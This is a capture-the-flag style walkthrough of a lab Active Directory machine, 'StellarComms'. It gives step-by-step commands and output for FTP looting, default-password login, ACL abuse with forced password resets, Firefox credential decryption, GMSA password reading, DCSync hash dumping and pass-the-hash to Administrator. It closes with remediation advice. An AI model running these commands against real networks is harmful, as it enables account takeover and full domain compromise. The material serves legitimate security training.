Zerotrace Logs

StellarComms

Overview

Stellar Communications, a regional telecommunications provider, has engaged us to conduct a covert internal network penetration test. The client wants to assess the resilience of their Active Directory infrastructure against insider threats and compromised VPN endpoints.

Our objective is to simulate a compromised remote worker scenario, enumerate Active Directory misconfigurations, pivot through the internal network, and ultimately compromise high-value targets including the domain controller.

Initial Access: Valid VPN access with a known username (junior.analyst), password unknown.

Reconnaissance

[Step 1] Port Scanning

We initiated a comprehensive port scan to identify open services on the target domain controller:

$ nmap -p- -T4 -sC -sV -Pn -o nmap_scan 10.1.248.71

Key findings:

The presence of anonymous FTP access on a domain controller (DC-STELLAR.stellarcomms.local) is unusual and warrants immediate investigation.

FTP Enumeration

[Step 2] Anonymous FTP Access

Connecting to the FTP service with anonymous credentials revealed accessible directories:

$ ftp 10.1.248.71
# Username: anonymous
# Password: (press enter)

FTP Anonymous Login showing Docs, IT, and Pics directories

Three directories were discovered:

[Step 3] Extracting FTP Contents

To efficiently download all files without corruption, we configured binary mode and disabled interactive prompts:

ftp> binary
200 Type set to I.
ftp> prompt off
Interactive mode off.
ftp> cd Docs
250 CWD command successful.
ftp> mget *

[Step 4] Document Analysis

The Docs directory yielded several critical intelligence files:

Browser_policy.pdf

This document revealed a mandatory browser policy:

Firefox ESR Policy documentation

Key Takeaway: Only Mozilla Firefox ESR (Extended Support Release) is approved and configured for internal portals. This suggests that users may have stored credentials in Firefox profiles - a valuable target for credential harvesting.

LEO_2A_Report.txt

This report disclosed an internal subdomain:

Internal subdomain portal.stellarcomms.local discovery

Discovery: portal.stellarcomms.local - An internal web portal requiring authentication.

LEO_3B_Report.txt

Security requirements documentation:

Operators must log in with StellarComms domain accounts.
Multi-factor authentication is enforced for uplink operations.

This indicates domain account authentication and MFA requirements for certain operations.

LEO_5C_Report.txt

Password policy documentation:

Credentials must be rotated every 30 days as per StellarComms
security standards. Any login attempt with expired credentials
will be logged and locked automatically.

Important: The organization enforces a 30-day password rotation policy with automatic account lockout for expired credentials. We should be cautious about password spraying to avoid locking accounts.

Stellar_UserGuide.pdf

The most valuable discovery - a default password disclosed in the user guide:

Default password Galaxy123! discovered in user guide

Default password: Galaxy123!

This represents a common security misconfiguration where default credentials are documented but not properly rotated by end users.

Initial Foothold

[Step 5] Testing Default Credentials

We tested the default password against the known username using NetExec:

$ nxc smb 10.1.248.71 -u 'junior.analyst' -p 'Galaxy123!'

Successful authentication with junior.analyst:Galaxy123!

Success! The credentials junior.analyst:Galaxy123! are valid.

Active Directory Enumeration

[Step 6] BloodHound Data Collection

With valid domain credentials, we used NetExec to collect comprehensive AD data for BloodHound analysis:

$ nxc ldap 10.1.248.71 -u 'junior.analyst' -p 'Galaxy123!' \
  --bloodhound --collection All --dns-server 10.1.248.71

BloodHound ingestion and analysis revealed a multi-step privilege escalation path through ACL abuse.

[Step 7] Attack Path Discovery

BloodHound identified a privilege escalation chain involving three critical relationships:

Step 1: WriteOwner on STELLAROPS-CONTROL Group

BloodHound showing WriteOwner permission on STELLAROPS-CONTROL

What is WriteOwner?
The junior.analyst user has WriteOwner permissions on the STELLAROPS-CONTROL group. This ACL allows us to change the group's owner to ourselves. When you own an object in Active Directory, you can modify its DACL (Discretionary Access Control List) to grant yourself additional permissions. This is a common AD privilege escalation vector.

Step 2: ForceChangePassword on OPS.CONTROLLER

BloodHound showing ForceChangePassword permission on ops.controller

Members of the STELLAROPS-CONTROL group have ForceChangePassword permissions on the ops.controller user account. This allows any group member to reset the user's password without knowing the current password.

Step 3: Remote Management Users Membership

BloodHound showing ops.controller is member of Remote Management Users

The ops.controller user is a member of the Remote Management Users group, which grants WinRM access to the domain controller. This provides an authenticated shell once we control the account.

Complete Attack Chain:

junior.analyst (WriteOwner)
    → STELLAROPS-CONTROL group (add self as member)
    → ForceChangePassword on ops.controller
    → WinRM access via Remote Management Users

Privilege Escalation: Part 1

[Step 8] Exploiting WriteOwner ACL

Using Impacket's owneredit.py, we changed the owner of the STELLAROPS-CONTROL group to junior.analyst:

$ owneredit.py -action write -new-owner 'junior.analyst' \
  -target 'StellarOps-Control' \
  'stellarcomms.local'/'junior.analyst':'Galaxy123!'

Output:

[*] Current owner information below
[*] - SID: S-1-5-21-1085439814-3345093241-3808503133-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=stellarcomms,DC=local
[*] OwnerSid modified successfully!

The group's owner was successfully changed from Domain Admins to junior.analyst.

[Step 9] Modifying Group DACL

Now as the owner, we used dacledit.py to grant ourselves WriteMembers permissions:

$ dacledit.py -action 'write' -rights 'WriteMembers' \
  -principal 'junior.analyst' \
  -target-dn 'CN=STELLAROPS-CONTROL,CN=USERS,DC=STELLARCOMMS,DC=LOCAL' \
  'stellarcomms.local'/'junior.analyst':'Galaxy123!'

Output:

[*] DACL backed up to dacledit-20260129-122456.bak
[*] DACL modified successfully!
What is WriteDACL?
Owning an object grants implicit WriteDACL permissions, allowing modification of the object's security descriptor. We're leveraging this to grant ourselves the ability to add members to the group.

[Step 10] Adding Junior.Analyst to STELLAROPS-CONTROL

Using BloodyAD, we added junior.analyst to the group:

$ bloodyAD -d stellarcomms.local -u junior.analyst -p 'Galaxy123!' \
  --host 10.1.248.71 add groupMember 'STELLAROPS-CONTROL' 'junior.analyst'

[+] junior.analyst added to STELLAROPS-CONTROL

[Step 11] Forcing Password Reset on OPS.CONTROLLER

Now as a member of STELLAROPS-CONTROL, we can force a password change on ops.controller:

$ bloodyAD -d stellarcomms.local -u junior.analyst -p 'Galaxy123!' \
  --host 10.1.248.71 set password 'ops.controller' 'Zerotrace123!'

[+] Password changed successfully!

[Step 12] Verification

Testing the new credentials:

$ nxc smb 10.1.248.71 -u 'ops.controller' -p 'Zerotrace123!'

Password change verification for ops.controller

Authentication successful! We now control the ops.controller account.

Establishing WinRM Session

[Step 13] WinRM Access

Since ops.controller is a member of the Remote Management Users group, we can establish a WinRM session:

$ evil-winrm -i 10.1.248.71 -u 'ops.controller' -p 'Zerotrace123!'

[User Flag]

Navigating to the user's desktop:

*Evil-WinRM* PS C:\Users\ops.controller\Desktop> type user.txt

User flag captured

User flag captured!

Credential Harvesting: Firefox Profile

[Step 14] Locating Firefox Profile

Based on the browser policy documentation, we know Firefox ESR is the approved browser. Firefox stores saved credentials in the user's profile directory.

Enumerating Firefox profiles:

*Evil-WinRM* PS C:\> cd C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles
*Evil-WinRM* PS> ls

Firefox profiles showing default-esr profile

Two profiles exist:

How does Firefox store credentials?
Firefox stores encrypted login credentials in two key files: To decrypt the credentials, we need both files.

[Step 15] Extracting Credential Files

Using Evil-WinRM's download function:

*Evil-WinRM* PS> cd C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles\v8mn7ijj.default-esr
*Evil-WinRM* PS> download logins.json
*Evil-WinRM* PS> download key4.db

Create a local directory and place both files:

$ mkdir user_firefox_db
$ mv logins.json user_firefox_db/
$ mv key4.db user_firefox_db/

[Step 16] Decrypting Firefox Credentials

Using the firepwd tool:

$ python firepwd/firepwd.py -d user_firefox_db

globalSalt: b'b775cce9871837920e459cb351f41a262a61a7ee'
password check? True
decrypting login/password pairs
Using 3DES (32-byte key, truncated to 24)
http://portal.stellarcomms.local:b'astro.researcher',b'[REDACTED]'

Discovered Credentials:

[Step 17] Validating New Credentials

$ nxc smb 10.1.248.71 -u 'astro.researcher' -p '[REDACTED]'

astro.researcher credentials validated

Authentication successful! The astro.researcher account is valid.

Privilege Escalation: Part 2

[Step 18] BloodHound Analysis of Astro.Researcher

Analyzing the astro.researcher account in BloodHound revealed another privilege escalation path:

BloodHound showing astro.researcher attack path to GMSA

The astro.researcher user has:

  1. WriteDacl permission on the eng.payload user account
  2. The eng.payload user has ReadGMSAPassword permission on the SATLINK-SERVICE$ GMSA account
What are Group Managed Service Accounts (GMSA)?
GMSAs are special Active Directory accounts designed for services. The domain automatically manages their passwords (typically 240 characters, rotated every 30 days). However, principals with ReadGMSAPassword permissions can retrieve the current password, which is essentially a hash that can be used for authentication.

[Step 19] Abusing WriteDacl

Using BloodyAD to grant ourselves GenericAll permissions on eng.payload:

$ bloodyAD --host 10.1.248.71 -d stellarcomms.local \
  -u 'astro.researcher' -p '[REDACTED]' \
  add genericAll 'eng.payload' 'astro.researcher'

[+] astro.researcher has now GenericAll on eng.payload
What is GenericAll?
GenericAll is a superset permission that includes all possible rights on an object, including the ability to reset passwords, modify attributes, and read all properties.

[Step 20] Forcing Password Reset on ENG.PAYLOAD

$ bloodyAD --host DC-STELLAR.stellarcomms.local -d stellarcomms.local \
  -u 'astro.researcher' -p '[REDACTED]' \
  set password 'eng.payload' 'Zerotrace123@!'

[+] Password changed successfully!

We now control the eng.payload account with the password Zerotrace123@!.

Domain Compromise

[Step 21] Reading GMSA Password

Using the compromised eng.payload account, we can now read the GMSA password for SATLINK-SERVICE$:

$ bloodyAD --host DC-STELLAR.stellarcomms.local -d stellarcomms.local \
  -u 'eng.payload' -p 'Zerotrace123@!' \
  get object 'SATLINK-SERVICE$' --attr msDS-ManagedPassword

distinguishedName: CN=SATLINK-SERVICE,CN=Managed Service Accounts,DC=stellarcomms,DC=local
msDS-ManagedPassword.NT: [REDACTED]
msDS-ManagedPassword.B64ENCODED: [REDACTED]
Why is GMSA Password Reading Critical?
GMSA accounts often have elevated privileges for service operations. In this case, the SATLINK-SERVICE$ account has DCSync rights or equivalent privileges to extract the entire domain database. The GMSA hash can be used directly for Pass-the-Hash authentication.

[Step 22] NTDS.dit Extraction

Using Impacket's secretsdump with the GMSA hash to extract the NTDS.dit database:

$ impacket-secretsdump -hashes :'[REDACTED]' \
  -dc-ip DC-STELLAR.stellarcomms.local \
  'stellarcomms.local/[email protected]'
What is NTDS.dit?
NTDS.dit is the Active Directory database file that stores all domain objects, including user accounts and their password hashes. Extracting this file (via DCSync or direct access) provides complete domain compromise, as it contains the NTLM hashes of all domain users including Domain Admins.

Output (partial):

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
junior.analyst:1103:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
ops.controller:1104:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
astro.researcher:1105:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
eng.payload:1106:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::

We now have the NTLM hash for the Administrator account!

[Step 23] Administrator Access via Pass-the-Hash

Using Evil-WinRM with the Administrator hash:

$ evil-winrm -i 10.1.248.71 -u Administrator -H [REDACTED]

[Root Flag]

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt

Root flag captured

Root flag captured! Complete domain compromise achieved.

Attack Chain Summary

  1. Anonymous FTP Access - Discovered documentation with default credentials
  2. Default Password Discovery - Found Galaxy123! in user guide
  3. junior.analyst compromise - Authenticated with default credentials
  4. WriteOwner ACL abuse - Changed owner of STELLAROPS-CONTROL group
  5. Add junior.analyst to STELLAROPS-CONTROL - Granted WriteMembers to self
  6. ForceChangePassword on ops.controller - Reset password to gain control
  7. WinRM access as ops.controller - User Flag obtained
  8. Firefox credential extraction - Decrypted stored credentials from browser
  9. astro.researcher compromise - Used extracted Firefox credentials
  10. WriteDacl abuse on eng.payload - Granted GenericAll permissions
  11. GenericAll → Force password reset - Compromised eng.payload account
  12. ReadGMSAPassword on SATLINK-SERVICE$ - Retrieved GMSA hash
  13. NTDS.dit extraction via DCSync - Dumped entire domain database
  14. Administrator hash extraction - Obtained Domain Admin credentials
  15. Pass-the-Hash to Administrator - Root Flag obtained

Key Vulnerabilities Identified

1. Anonymous FTP Access on Domain Controller

Risk: Critical

Issue: Sensitive documentation including default credentials was accessible via anonymous FTP.

Remediation: Disable anonymous FTP access and remove FTP service from domain controllers.

2. Default Credentials Not Rotated

Risk: High

Issue: The default password Galaxy123! was documented but never changed by the end user.

Remediation: Enforce password changes on first login and remove default credentials from documentation.

3. Excessive ACL Permissions

Risk: Critical

Issue: Low-privilege users had WriteOwner, WriteDacl, and ForceChangePassword permissions on privileged accounts.

Remediation: Review and remediate ACL misconfigurations using tools like BloodHound and PingCastle. Follow the principle of least privilege.

4. Saved Credentials in Firefox

Risk: Medium

Issue: Domain credentials stored in Firefox profiles without master password protection.

Remediation: Enforce Firefox master passwords via GPO and implement credential management policies.

5. GMSA Password Readable by Non-Service Accounts

Risk: Critical

Issue: Regular user accounts had ReadGMSAPassword permissions on privileged service accounts.

Remediation: Restrict GMSA password reading to only the computers/services that require them. Regularly audit msDS-GroupMSAMembership attributes.

6. Privileged GMSA Account

Risk: Critical

Issue: The GMSA account had DCSync privileges, allowing complete domain database extraction.

Remediation: Apply least privilege principles to service accounts. Service accounts should not have domain-wide replication rights unless absolutely necessary.

Tools Used

Lessons Learned

For Pentesters

For Defenders

Conclusion

The StellarComms machine provided an excellent demonstration of modern Active Directory exploitation techniques. The attack chain required:

This machine serves as a valuable training ground for both offensive and defensive security professionals, showcasing realistic AD misconfigurations and the importance of proper security governance in Windows environments.

Walkthrough completed on: 2026-01-29 | Zerotrace